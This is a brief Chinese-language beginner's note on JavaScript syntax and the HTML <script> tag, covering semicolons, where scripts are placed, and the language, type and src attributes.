JavaScript一行可以写一条语句,也可以写多条语句。一行中写多条语句时,语句之间用分号分割。一行只写一条语句时可以不写分号。 -
<script>标记
如果希望在显示HTML压面之前执行代码,那么僵JavaScript代码放在<head></head>之间,如果代码需要操作文档内容,则放在<body></body>之间。
每一个HTML文档可以根据需要放置多个<script></script>标记。- language属性:指定程序代码使用哪一种脚本语言,常用的值为JavaScript、VBScript、JScript。
- type属性:用于同时指定脚本语言和Internet内容类型。
- src属性:当要执行的脚本代码存放在某个外部文件中时,使用该属性。
浙公网安备 33010602011771号